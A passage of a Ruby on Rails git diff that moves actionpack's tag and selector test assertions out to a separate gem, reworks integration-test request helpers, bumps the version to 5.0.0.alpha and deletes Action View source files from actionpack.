- if part["Content-Type"].to_s =~ /^text\/html\W/
- root = HTML::Document.new(part.body.to_s).root
- assert_select root, ":root", &block
- end
- end
- end
- end
-
- protected
- # +assert_select+ and +css_select+ call this to obtain the content in the HTML page.
- def response_from_page
- html_document.root
- end
- end
- end
-end
+ActiveSupport::Deprecation.warn("ActionDispatch::Assertions::SelectorAssertions has been extracted to the rails-dom-testing gem.")
diff --git a/actionpack/lib/action_dispatch/testing/assertions/tag.rb b/actionpack/lib/action_dispatch/testing/assertions/tag.rb
index e5fe30ba82..da98b1d6ce 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/tag.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/tag.rb
@@ -1,135 +1,3 @@
-require 'action_view/vendor/html-scanner'
+require 'active_support/deprecation'
-module ActionDispatch
- module Assertions
- # Pair of assertions to testing elements in the HTML output of the response.
- module TagAssertions
- # Asserts that there is a tag/node/element in the body of the response
- # that meets all of the given conditions. The +conditions+ parameter must
- # be a hash of any of the following keys (all are optional):
- #
- # * <tt>:tag</tt>: the node type must match the corresponding value
- # * <tt>:attributes</tt>: a hash. The node's attributes must match the
- # corresponding values in the hash.
- # * <tt>:parent</tt>: a hash. The node's parent must match the
- # corresponding hash.
- # * <tt>:child</tt>: a hash. At least one of the node's immediate children
- # must meet the criteria described by the hash.
- # * <tt>:ancestor</tt>: a hash. At least one of the node's ancestors must
- # meet the criteria described by the hash.
- # * <tt>:descendant</tt>: a hash. At least one of the node's descendants
- # must meet the criteria described by the hash.
- # * <tt>:sibling</tt>: a hash. At least one of the node's siblings must
- # meet the criteria described by the hash.
- # * <tt>:after</tt>: a hash. The node must be after any sibling meeting
- # the criteria described by the hash, and at least one sibling must match.
- # * <tt>:before</tt>: a hash. The node must be before any sibling meeting
- # the criteria described by the hash, and at least one sibling must match.
- # * <tt>:children</tt>: a hash, for counting children of a node. Accepts
- # the keys:
- # * <tt>:count</tt>: either a number or a range which must equal (or
- # include) the number of children that match.
- # * <tt>:less_than</tt>: the number of matching children must be less
- # than this number.
- # * <tt>:greater_than</tt>: the number of matching children must be
- # greater than this number.
- # * <tt>:only</tt>: another hash consisting of the keys to use
- # to match on the children, and only matching children will be
- # counted.
- # * <tt>:content</tt>: the textual content of the node must match the
- # given value. This will not match HTML tags in the body of a
- # tag--only text.
- #
- # Conditions are matched using the following algorithm:
- #
- # * if the condition is a string, it must be a substring of the value.
- # * if the condition is a regexp, it must match the value.
- # * if the condition is a number, the value must match number.to_s.
- # * if the condition is +true+, the value must not be +nil+.
- # * if the condition is +false+ or +nil+, the value must be +nil+.
- #
- # # Assert that there is a "span" tag
- # assert_tag tag: "span"
- #
- # # Assert that there is a "span" tag with id="x"
- # assert_tag tag: "span", attributes: { id: "x" }
- #
- # # Assert that there is a "span" tag using the short-hand
- # assert_tag :span
- #
- # # Assert that there is a "span" tag with id="x" using the short-hand
- # assert_tag :span, attributes: { id: "x" }
- #
- # # Assert that there is a "span" inside of a "div"
- # assert_tag tag: "span", parent: { tag: "div" }
- #
- # # Assert that there is a "span" somewhere inside a table
- # assert_tag tag: "span", ancestor: { tag: "table" }
- #
- # # Assert that there is a "span" with at least one "em" child
- # assert_tag tag: "span", child: { tag: "em" }
- #
- # # Assert that there is a "span" containing a (possibly nested)
- # # "strong" tag.
- # assert_tag tag: "span", descendant: { tag: "strong" }
- #
- # # Assert that there is a "span" containing between 2 and 4 "em" tags
- # # as immediate children
- # assert_tag tag: "span",
- # children: { count: 2..4, only: { tag: "em" } }
- #
- # # Get funky: assert that there is a "div", with an "ul" ancestor
- # # and an "li" parent (with "class" = "enum"), and containing a
- # # "span" descendant that contains text matching /hello world/
- # assert_tag tag: "div",
- # ancestor: { tag: "ul" },
- # parent: { tag: "li",
- # attributes: { class: "enum" } },
- # descendant: { tag: "span",
- # child: /hello world/ }
- #
- # <b>Please note</b>: +assert_tag+ and +assert_no_tag+ only work
- # with well-formed XHTML. They recognize a few tags as implicitly self-closing
- # (like br and hr and such) but will not work correctly with tags
- # that allow optional closing tags (p, li, td). <em>You must explicitly
- # close all of your tags to use these assertions.</em>
- def assert_tag(*opts)
- opts = opts.size > 1 ? opts.last.merge({ :tag => opts.first.to_s }) : opts.first
- tag = find_tag(opts)
- assert tag, "expected tag, but no tag found matching #{opts.inspect} in:\n#{@response.body.inspect}"
- end
-
- # Identical to +assert_tag+, but asserts that a matching tag does _not_
- # exist. (See +assert_tag+ for a full discussion of the syntax.)
- #
- # # Assert that there is not a "div" containing a "p"
- # assert_no_tag tag: "div", descendant: { tag: "p" }
- #
- # # Assert that an unordered list is empty
- # assert_no_tag tag: "ul", descendant: { tag: "li" }
- #
- # # Assert that there is not a "p" tag with between 1 to 3 "img" tags
- # # as immediate children
- # assert_no_tag tag: "p",
- # children: { count: 1..3, only: { tag: "img" } }
- def assert_no_tag(*opts)
- opts = opts.size > 1 ? opts.last.merge({ :tag => opts.first.to_s }) : opts.first
- tag = find_tag(opts)
- assert !tag, "expected no tag, but found tag matching #{opts.inspect} in:\n#{@response.body.inspect}"
- end
-
- def find_tag(conditions)
- html_document.find(conditions)
- end
-
- def find_all_tag(conditions)
- html_document.find_all(conditions)
- end
-
- def html_document
- xml = @response.content_type =~ /xml$/
- @html_document ||= HTML::Document.new(@response.body, false, xml)
- end
- end
- end
-end
+ActiveSupport::Deprecation.warn('`ActionDispatch::Assertions::TagAssertions` has been extracted to the rails-dom-testing gem.')
diff --git a/actionpack/lib/action_dispatch/testing/integration.rb b/actionpack/lib/action_dispatch/testing/integration.rb
index 95cd89a166..a9a1576fed 100644
--- a/actionpack/lib/action_dispatch/testing/integration.rb
+++ b/actionpack/lib/action_dispatch/testing/integration.rb
@@ -3,7 +3,7 @@ require 'uri'
require 'active_support/core_ext/kernel/singleton_class'
require 'active_support/core_ext/object/try'
require 'rack/test'
-require 'minitest/unit'
+require 'minitest'
module ActionDispatch
module Integration #:nodoc:
@@ -17,7 +17,7 @@ module ActionDispatch
# a Hash, or a String that is appropriately encoded
# (<tt>application/x-www-form-urlencoded</tt> or
# <tt>multipart/form-data</tt>).
- # - +headers+: Additional headers to pass, as a Hash. The headers will be
+ # - +headers_or_env+: Additional headers to pass, as a Hash. The headers will be
# merged into the Rack env hash.
#
# This method returns a Response object, which one can use to
@@ -28,44 +28,38 @@ module ActionDispatch
#
# You can also perform POST, PATCH, PUT, DELETE, and HEAD requests with
# +#post+, +#patch+, +#put+, +#delete+, and +#head+.
- def get(path, parameters = nil, headers = nil)
- process :get, path, parameters, headers
+ def get(path, parameters = nil, headers_or_env = nil)
+ process :get, path, parameters, headers_or_env
end
# Performs a POST request with the given parameters. See +#get+ for more
# details.
- def post(path, parameters = nil, headers = nil)
- process :post, path, parameters, headers
+ def post(path, parameters = nil, headers_or_env = nil)
+ process :post, path, parameters, headers_or_env
end
# Performs a PATCH request with the given parameters. See +#get+ for more
# details.
- def patch(path, parameters = nil, headers = nil)
- process :patch, path, parameters, headers
+ def patch(path, parameters = nil, headers_or_env = nil)
+ process :patch, path, parameters, headers_or_env
end
# Performs a PUT request with the given parameters. See +#get+ for more
# details.
- def put(path, parameters = nil, headers = nil)
- process :put, path, parameters, headers
+ def put(path, parameters = nil, headers_or_env = nil)
+ process :put, path, parameters, headers_or_env
end
# Performs a DELETE request with the given parameters. See +#get+ for
# more details.
- def delete(path, parameters = nil, headers = nil)
- process :delete, path, parameters, headers
+ def delete(path, parameters = nil, headers_or_env = nil)
+ process :delete, path, parameters, headers_or_env
end
# Performs a HEAD request with the given parameters. See +#get+ for more
# details.
- def head(path, parameters = nil, headers = nil)
- process :head, path, parameters, headers
- end
-
- # Performs a OPTIONS request with the given parameters. See +#get+ for
- # more details.
- def options(path, parameters = nil, headers = nil)
- process :options, path, parameters, headers
+ def head(path, parameters = nil, headers_or_env = nil)
+ process :head, path, parameters, headers_or_env
end
# Performs an XMLHttpRequest request with the given parameters, mirroring
@@ -74,11 +68,11 @@ module ActionDispatch
# The request_method is +:get+, +:post+, +:patch+, +:put+, +:delete+ or
# +:head+; the parameters are +nil+, a hash, or a url-encoded or multipart
# string; the headers are a hash.
- def xml_http_request(request_method, path, parameters = nil, headers = nil)
- headers ||= {}
- headers['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'
- headers['HTTP_ACCEPT'] ||= [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ')
- process(request_method, path, parameters, headers)
+ def xml_http_request(request_method, path, parameters = nil, headers_or_env = nil)
+ headers_or_env ||= {}
+ headers_or_env['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'
+ headers_or_env['HTTP_ACCEPT'] ||= [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ')
+ process(request_method, path, parameters, headers_or_env)
end
alias xhr :xml_http_request
@@ -95,40 +89,40 @@ module ActionDispatch
# redirect. Note that the redirects are followed until the response is
# not a redirect--this means you may run into an infinite loop if your
# redirect loops back to itself.
- def request_via_redirect(http_method, path, parameters = nil, headers = nil)
- process(http_method, path, parameters, headers)
+ def request_via_redirect(http_method, path, parameters = nil, headers_or_env = nil)
+ process(http_method, path, parameters, headers_or_env)
follow_redirect! while redirect?
status
end
# Performs a GET request, following any subsequent redirect.
# See +request_via_redirect+ for more information.
- def get_via_redirect(path, parameters = nil, headers = nil)
- request_via_redirect(:get, path, parameters, headers)
+ def get_via_redirect(path, parameters = nil, headers_or_env = nil)
+ request_via_redirect(:get, path, parameters, headers_or_env)
end
# Performs a POST request, following any subsequent redirect.
# See +request_via_redirect+ for more information.
- def post_via_redirect(path, parameters = nil, headers = nil)
- request_via_redirect(:post, path, parameters, headers)
+ def post_via_redirect(path, parameters = nil, headers_or_env = nil)
+ request_via_redirect(:post, path, parameters, headers_or_env)
end
# Performs a PATCH request, following any subsequent redirect.
# See +request_via_redirect+ for more information.
- def patch_via_redirect(path, parameters = nil, headers = nil)
- request_via_redirect(:patch, path, parameters, headers)
+ def patch_via_redirect(path, parameters = nil, headers_or_env = nil)
+ request_via_redirect(:patch, path, parameters, headers_or_env)
end
# Performs a PUT request, following any subsequent redirect.
# See +request_via_redirect+ for more information.
- def put_via_redirect(path, parameters = nil, headers = nil)
- request_via_redirect(:put, path, parameters, headers)
+ def put_via_redirect(path, parameters = nil, headers_or_env = nil)
+ request_via_redirect(:put, path, parameters, headers_or_env)
end
# Performs a DELETE request, following any subsequent redirect.
# See +request_via_redirect+ for more information.
- def delete_via_redirect(path, parameters = nil, headers = nil)
- request_via_redirect(:delete, path, parameters, headers)
+ def delete_via_redirect(path, parameters = nil, headers_or_env = nil)
+ request_via_redirect(:delete, path, parameters, headers_or_env)
end
end
@@ -143,7 +137,7 @@ module ActionDispatch
class Session
DEFAULT_HOST = "www.example.com"
- include MiniTest::Assertions
+ include Minitest::Assertions
include TestProcess, RequestHelpers, Assertions
%w( status status_message headers body redirect? ).each do |method|
@@ -195,8 +189,8 @@ module ActionDispatch
# This makes app.url_for and app.foo_path available in the console
if app.respond_to?(:routes)
singleton_class.class_eval do
- include app.routes.url_helpers if app.routes.respond_to?(:url_helpers)
- include app.routes.mounted_helpers if app.routes.respond_to?(:mounted_helpers)
+ include app.routes.url_helpers
+ include app.routes.mounted_helpers
end
end
@@ -207,7 +201,7 @@ module ActionDispatch
@url_options ||= default_url_options.dup.tap do |url_options|
url_options.reverse_merge!(controller.url_options) if controller
- if @app.respond_to?(:routes) && @app.routes.respond_to?(:default_url_options)
+ if @app.respond_to?(:routes)
url_options.reverse_merge!(@app.routes.default_url_options)
end
@@ -248,7 +242,7 @@ module ActionDispatch
@https = flag
end
- # Return +true+ if the session is mimicking a secure HTTPS request.
+ # Returns +true+ if the session is mimicking a secure HTTPS request.
#
# if session.https?
# ...
@@ -268,21 +262,14 @@ module ActionDispatch
end
# Performs the actual request.
- def process(method, path, parameters = nil, rack_env = nil)
- rack_env ||= {}
+ def process(method, path, parameters = nil, headers_or_env = nil)
if path =~ %r{://}
location = URI.parse(path)
https! URI::HTTPS === location if location.scheme
- host! location.host if location.host
+ host! "#{location.host}:#{location.port}" if location.host
path = location.query ? "#{location.path}?#{location.query}" : location.path
end
- unless ActionController::Base < ActionController::Testing
- ActionController::Base.class_eval do
- include ActionController::Testing
- end
- end
-
hostname, port = host.split(':')
env = {
@@ -300,20 +287,14 @@ module ActionDispatch
"CONTENT_TYPE" => "application/x-www-form-urlencoded",
"HTTP_ACCEPT" => accept
}
+ # this modifies the passed env directly
+ Http::Headers.new(env).merge!(headers_or_env || {})
session = Rack::Test::Session.new(_mock_session)
- env.merge!(rack_env)
-
# NOTE: rack-test v0.5 doesn't build a default uri correctly
# Make sure requested path is always a full uri
- uri = URI.parse('/')
- uri.scheme ||= env['rack.url_scheme']
- uri.host ||= env['SERVER_NAME']
- uri.port ||= env['SERVER_PORT'].try(:to_i)
- uri += path
-
- session.request(uri.to_s, env)
+ session.request(build_full_uri(path, env), env)
@request_count += 1
@request = ActionDispatch::Request.new(session.last_request.env)
@@ -326,6 +307,10 @@ module ActionDispatch
return response.status
end
+
+ def build_full_uri(path, env)
+ "#{env['rack.url_scheme']}://#{env['SERVER_NAME']}:#{env['SERVER_PORT']}#{path}"
+ end
end
module Runner
@@ -341,12 +326,21 @@ module ActionDispatch
@integration_session = Integration::Session.new(app)
end
- %w(get post patch put head delete options cookies assigns
+ def remove! # :nodoc:
+ @integration_session = nil
+ end
+
+ %w(get post patch put head delete cookies assigns
xml_http_request xhr get_via_redirect post_via_redirect).each do |method|
define_method(method) do |*args|
reset! unless integration_session
- # reset the html_document variable, but only for new get/post calls
- @html_document = nil unless method == 'cookies' || method == 'assigns'
+
+ # reset the html_document variable, except for cookies/assigns calls
+ unless method == 'cookies' || method == 'assigns'
+ @html_document = nil
+ reset_template_assertion
+ end
+
integration_session.__send__(method, *args).tap do
copy_session_variables!
end
@@ -363,7 +357,7 @@ module ActionDispatch
# By default, a single session is automatically created for you, but you
# can use this method to open multiple sessions that ought to be tested
# simultaneously.
- def open_session(app = nil)
+ def open_session
dup.tap do |session|
yield session if block_given?
end
@@ -491,16 +485,9 @@ module ActionDispatch
include ActionController::TemplateAssertions
include ActionDispatch::Routing::UrlFor
- # Use AD::IntegrationTest for acceptance tests
- register_spec_type(/(Acceptance|Integration) ?Test\z/i, self)
-
@@app = nil
def self.app
- if !@@app && !ActionDispatch.test_app
- ActiveSupport::Deprecation.warn "Rails application fallback is deprecated and no longer works, please set ActionDispatch.test_app"
- end
-
@@app || ActionDispatch.test_app
end
@@ -516,5 +503,9 @@ module ActionDispatch
reset! unless integration_session
integration_session.url_options
end
+
+ def document_root_element
+ html_document.root
+ end
end
end
diff --git a/actionpack/lib/action_dispatch/testing/performance_test.rb b/actionpack/lib/action_dispatch/testing/performance_test.rb
deleted file mode 100644
index 13fe693c32..0000000000
--- a/actionpack/lib/action_dispatch/testing/performance_test.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require 'active_support/testing/performance'
-
-module ActionDispatch
- # An integration test that runs a code profiler on your test methods.
- # Profiling output for combinations of each test method, measurement, and
- # output format are written to your tmp/performance directory.
- class PerformanceTest < ActionDispatch::IntegrationTest
- include ActiveSupport::Testing::Performance
- end
-end
diff --git a/actionpack/lib/action_dispatch/testing/test_process.rb b/actionpack/lib/action_dispatch/testing/test_process.rb
index e657283cec..630e6a9b78 100644
--- a/actionpack/lib/action_dispatch/testing/test_process.rb
+++ b/actionpack/lib/action_dispatch/testing/test_process.rb
@@ -6,7 +6,7 @@ module ActionDispatch
module TestProcess
def assigns(key = nil)
assigns = {}.with_indifferent_access
- @controller.view_assigns.each {|k, v| assigns.regular_writer(k, v)}
+ @controller.view_assigns.each { |k, v| assigns.regular_writer(k, v) }
key.nil? ? assigns : assigns[key]
end
diff --git a/actionpack/lib/action_dispatch/testing/test_request.rb b/actionpack/lib/action_dispatch/testing/test_request.rb
index c63778f870..4b9a088265 100644
--- a/actionpack/lib/action_dispatch/testing/test_request.rb
+++ b/actionpack/lib/action_dispatch/testing/test_request.rb
@@ -3,7 +3,11 @@ require 'rack/utils'
module ActionDispatch
class TestRequest < Request
- DEFAULT_ENV = Rack::MockRequest.env_for('/')
+ DEFAULT_ENV = Rack::MockRequest.env_for('/',
+ 'HTTP_HOST' => 'test.host',
+ 'REMOTE_ADDR' => '0.0.0.0',
+ 'HTTP_USER_AGENT' => 'Rails Testing'
+ )
def self.new(env = {})
super
@@ -12,10 +16,6 @@ module ActionDispatch
def initialize(env = {})
env = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application
super(default_env.merge(env))
-
- self.host = 'test.host'
- self.remote_addr = '0.0.0.0'
- self.user_agent = 'Rails Testing'
end
def request_method=(method)
@@ -39,7 +39,7 @@ module ActionDispatch
end
def action=(action_name)
- path_parameters["action"] = action_name.to_s
+ path_parameters[:action] = action_name.to_s
end
def if_modified_since=(last_modified)
@@ -60,7 +60,7 @@ module ActionDispatch
def accept=(mime_types)
@env.delete('action_dispatch.request.accepts')
- @env['HTTP_ACCEPT'] = Array(mime_types).collect { |mime_type| mime_type.to_s }.join(",")
+ @env['HTTP_ACCEPT'] = Array(mime_types).collect(&:to_s).join(",")
end
alias :rack_cookies :cookies
diff --git a/actionpack/lib/action_pack.rb b/actionpack/lib/action_pack.rb
index 39c7faf740..77f656d6f1 100644
--- a/actionpack/lib/action_pack.rb
+++ b/actionpack/lib/action_pack.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2012 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
diff --git a/actionpack/lib/action_pack/gem_version.rb b/actionpack/lib/action_pack/gem_version.rb
new file mode 100644
index 0000000000..255ac9f4ed
--- /dev/null
+++ b/actionpack/lib/action_pack/gem_version.rb
@@ -0,0 +1,15 @@
+module ActionPack
+ # Returns the version of the currently loaded Action Pack as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 5
+ MINOR = 0
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/actionpack/lib/action_pack/version.rb b/actionpack/lib/action_pack/version.rb
index 94cbc8e478..7088cd2760 100644
--- a/actionpack/lib/action_pack/version.rb
+++ b/actionpack/lib/action_pack/version.rb
@@ -1,10 +1,8 @@
-module ActionPack
- module VERSION #:nodoc:
- MAJOR = 4
- MINOR = 0
- TINY = 0
- PRE = "beta"
+require_relative 'gem_version'
- STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
+module ActionPack
+ # Returns the version of the currently loaded ActionPack as a <tt>Gem::Version</tt>
+ def self.version
+ gem_version
end
end
diff --git a/actionpack/lib/action_view.rb b/actionpack/lib/action_view.rb
deleted file mode 100644
index 8bbf52382a..0000000000
--- a/actionpack/lib/action_view.rb
+++ /dev/null
@@ -1,93 +0,0 @@
-#--
-# Copyright (c) 2004-2012 David Heinemeier Hansson
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#++
-
-require 'active_support'
-require 'active_support/rails'
-require 'action_pack'
-
-module ActionView
- extend ActiveSupport::Autoload
-
- eager_autoload do
- autoload :Base
- autoload :Context
- autoload :CompiledTemplates, "action_view/context"
- autoload :Digestor
- autoload :Helpers
- autoload :LookupContext
- autoload :PathSet
- autoload :RecordIdentifier
- autoload :RoutingUrlFor
- autoload :Template
-
- autoload_under "renderer" do
- autoload :Renderer
- autoload :AbstractRenderer
- autoload :PartialRenderer
- autoload :TemplateRenderer
- autoload :StreamingTemplateRenderer
- end
-
- autoload_at "action_view/template/resolver" do
- autoload :Resolver
- autoload :PathResolver
- autoload :FileSystemResolver
- autoload :OptimizedFileSystemResolver
- autoload :FallbackFileSystemResolver
- end
-
- autoload_at "action_view/buffers" do
- autoload :OutputBuffer
- autoload :StreamingBuffer
- end
-
- autoload_at "action_view/flows" do
- autoload :OutputFlow
- autoload :StreamingFlow
- end
-
- autoload_at "action_view/template/error" do
- autoload :MissingTemplate
- autoload :ActionViewError
- autoload :EncodingError
- autoload :MissingRequestError
- autoload :TemplateError
- autoload :WrongEncodingError
- end
- end
-
- autoload :TestCase
-
- ENCODING_FLAG = '#.*coding[:=]\s*(\S+)[ \t]*'
-
- def self.eager_load!
- super
- ActionView::Template.eager_load!
- end
-end
-
-require 'active_support/core_ext/string/output_safety'
-
-ActiveSupport.on_load(:i18n) do
- I18n.load_path << "#{File.dirname(__FILE__)}/action_view/locale/en.yml"
-end
diff --git a/actionpack/lib/action_view/base.rb b/actionpack/lib/action_view/base.rb
deleted file mode 100644
index 668515df59..0000000000
--- a/actionpack/lib/action_view/base.rb
+++ /dev/null
@@ -1,201 +0,0 @@
-require 'active_support/core_ext/module/attr_internal'
-require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/ordered_options'
-require 'action_view/log_subscriber'
-
-module ActionView #:nodoc:
- # = Action View Base
- #
- # Action View templates can be written in several ways. If the template file has a <tt>.erb</tt> extension then it uses a mixture of ERb
- # (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> extension then Jim Weirich's Builder::XmlMarkup library is used.
- #
- # == ERB
- #
- # You trigger ERB by using embeddings such as <% %>, <% -%>, and <%= %>. The <%= %> tag set is used when you want output. Consider the
- # following loop for names:
- #
- # <b>Names of all the people</b>
- # <% @people.each do |person| %>
- # Name: <%= person.name %><br/>
- # <% end %>
- #
- # The loop is setup in regular embedding tags <% %> and the name is written using the output embedding tag <%= %>. Note that this
- # is not just a usage suggestion. Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
- #
- # <%# WRONG %>
- # Hi, Mr. <% puts "Frodo" %>
- #
- # If you absolutely must write from within a function use +concat+.
- #
- # <%- and -%> suppress leading and trailing whitespace, including the trailing newline, and can be used interchangeably with <% and %>.
- #
- # === Using sub templates
- #
- # Using sub templates allows you to sidestep tedious replication and extract common display structures in shared templates. The
- # classic example is the use of a header and footer (even though the Action Pack-way would be to use Layouts):
- #
- # <%= render "shared/header" %>
- # Something really specific and terrific
- # <%= render "shared/footer" %>
- #
- # As you see, we use the output embeddings for the render methods. The render call itself will just return a string holding the
- # result of the rendering. The output embedding writes it to the current template.
- #
- # But you don't have to restrict yourself to static includes. Templates can share variables amongst themselves by using instance
- # variables defined using the regular embedding tags. Like this:
- #
- # <% @page_title = "A Wonderful Hello" %>
- # <%= render "shared/header" %>
- #
- # Now the header can pick up on the <tt>@page_title</tt> variable and use it for outputting a title tag:
- #
- # <title><%= @page_title %></title>
- #
- # === Passing local variables to sub templates
- #
- # You can pass local variables to sub templates by using a hash with the variable names as keys and the objects as values:
- #
- # <%= render "shared/header", { headline: "Welcome", person: person } %>
- #
- # These can now be accessed in <tt>shared/header</tt> with:
- #
- # Headline: <%= headline %>
- # First name: <%= person.first_name %>
- #
- # If you need to find out whether a certain local variable has been assigned a value in a particular render call,
- # you need to use the following pattern:
- #
- # <% if local_assigns.has_key? :headline %>
- # Headline: <%= headline %>
- # <% end %>
- #
- # Testing using <tt>defined? headline</tt> will not work. This is an implementation restriction.
- #
- # === Template caching
- #
- # By default, Rails will compile each template to a method in order to render it. When you alter a template,
- # Rails will check the file's modification time and recompile it in development mode.
- #
- # == Builder
- #
- # Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object
- # named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension.
- #
- # Here are some basic examples:
- #
- # xml.em("emphasized") # => <em>emphasized</em>
- # xml.em { xml.b("emph & bold") } # => <em><b>emph &amp; bold</b></em>
- # xml.a("A Link", "href" => "http://onestepback.org") # => <a href="http://onestepback.org">A Link</a>
- # xml.target("name" => "compile", "option" => "fast") # => <target option="fast" name="compile"\>
- # # NOTE: order of attributes is not specified.
- #
- # Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
- #
- # xml.div do
- # xml.h1(@person.name)
- # xml.p(@person.bio)
- # end
- #
- # would produce something like:
- #
- # <div>
- # <h1>David Heinemeier Hansson</h1>
- # <p>A product of Danish Design during the Winter of '79...</p>
- # </div>
- #
- # A full-length RSS example actually used on Basecamp:
- #
- # xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
- # xml.channel do
- # xml.title(@feed_title)
- # xml.link(@url)
- # xml.description "Basecamp: Recent items"
- # xml.language "en-us"
- # xml.ttl "40"
- #
- # @recent_items.each do |item|
- # xml.item do
- # xml.title(item_title(item))
- # xml.description(item_description(item)) if item_description(item)
- # xml.pubDate(item_pubDate(item))
- # xml.guid(@person.firm.account.url + @recent_items.url(item))
- # xml.link(@person.firm.account.url + @recent_items.url(item))
- #
- # xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
- # end
- # end
- # end
- # end
- #
- # More builder documentation can be found at http://builder.rubyforge.org.
- class Base
- include Helpers, ::ERB::Util, Context
-
- # Specify the proc used to decorate input tags that refer to attributes with errors.
- cattr_accessor :field_error_proc
- @@field_error_proc = Proc.new{ |html_tag, instance| "<div class=\"field_with_errors\">#{html_tag}</div>".html_safe }
-
- # How to complete the streaming when an exception occurs.
- # This is our best guess: first try to close the attribute, then the tag.
- cattr_accessor :streaming_completion_on_exception
- @@streaming_completion_on_exception = %("><script>window.location = "/500.html"</script></html>)
-
- # Specify whether rendering within namespaced controllers should prefix
- # the partial paths for ActiveModel objects with the namespace.
- # (e.g., an Admin::PostsController would render @post using /admin/posts/_post.erb)
- cattr_accessor :prefix_partial_path_with_controller_namespace
- @@prefix_partial_path_with_controller_namespace = true
-
- # Specify default_formats that can be rendered.
- cattr_accessor :default_formats
-
- class_attribute :_routes
- class_attribute :logger
-
- class << self
- delegate :erb_trim_mode=, :to => 'ActionView::Template::Handlers::ERB'
-
- def cache_template_loading
- ActionView::Resolver.caching?
- end
-
- def cache_template_loading=(value)
- ActionView::Resolver.caching = value
- end
-
- def xss_safe? #:nodoc:
- true
- end
- end
-
- attr_accessor :view_renderer
- attr_internal :config, :assigns
-
- delegate :lookup_context, :to => :view_renderer
- delegate :formats, :formats=, :locale, :locale=, :view_paths, :view_paths=, :to => :lookup_context
-
- def assign(new_assigns) # :nodoc:
- @_assigns = new_assigns.each { |key, value| instance_variable_set("@#{key}", value) }
- end
-
- def initialize(context = nil, assigns = {}, controller = nil, formats = nil) #:nodoc:
- @_config = ActiveSupport::InheritableOptions.new
-
- if context.is_a?(ActionView::Renderer)
- @view_renderer = context
- else
- lookup_context = context.is_a?(ActionView::LookupContext) ?
- context : ActionView::LookupContext.new(context)
- lookup_context.formats = formats if formats
- lookup_context.prefixes = controller._prefixes if controller
- @view_renderer = ActionView::Renderer.new(lookup_context)
- end
-
- assign(assigns)
- assign_controller(controller)
- _prepare_context
- end
-
- ActiveSupport.run_load_hooks(:action_view, self)
- end
-end
diff --git a/actionpack/lib/action_view/buffers.rb b/actionpack/lib/action_view/buffers.rb
deleted file mode 100644
index 2372d3c433..0000000000
--- a/actionpack/lib/action_view/buffers.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-require 'active_support/core_ext/string/output_safety'
-
-module ActionView
- class OutputBuffer < ActiveSupport::SafeBuffer #:nodoc:
- def initialize(*)
- super
- encode!
- end
-
- def <<(value)
- super(value.to_s)
- end
- alias :append= :<<
- alias :safe_append= :safe_concat
- end
-
- class StreamingBuffer #:nodoc:
- def initialize(block)
- @block = block
- end
-
- def <<(value)
- value = value.to_s
- value = ERB::Util.h(value) unless value.html_safe?
- @block.call(value)
- end
- alias :concat :<<
- alias :append= :<<
-
- def safe_concat(value)
- @block.call(value.to_s)
- end
- alias :safe_append= :safe_concat
-
- def html_safe?
- true
- end
-
- def html_safe
- self
- end
- end
-end
diff --git a/actionpack/lib/action_view/digestor.rb b/actionpack/lib/action_view/digestor.rb
deleted file mode 100644
index 1c6eaf36f7..0000000000
--- a/actionpack/lib/action_view/digestor.rb
+++ /dev/null
@@ -1,126 +0,0 @@
-require 'mutex_m'
-
-module ActionView
- class Digestor
- EXPLICIT_DEPENDENCY = /# Template Dependency: ([^ ]+)/
-
- # Matches:
- # render partial: "comments/comment", collection: commentable.comments
- # render "comments/comments"
- # render 'comments/comments'
- # render('comments/comments')
- #
- # render(@topic) => render("topics/topic")
- # render(topics) => render("topics/topic")
- # render(message.topics) => render("topics/topic")
- RENDER_DEPENDENCY = /
- render\s* # render, followed by optional whitespace
- \(? # start an optional parenthesis for the render call
- (partial:|:partial\s+=>)?\s* # naming the partial, used with collection -- 1st capture
- ([@a-z"'][@a-z_\/\."']+) # the template name itself -- 2nd capture
- /x
-
- cattr_reader(:cache)
- @@cache = Hash.new.extend Mutex_m
-
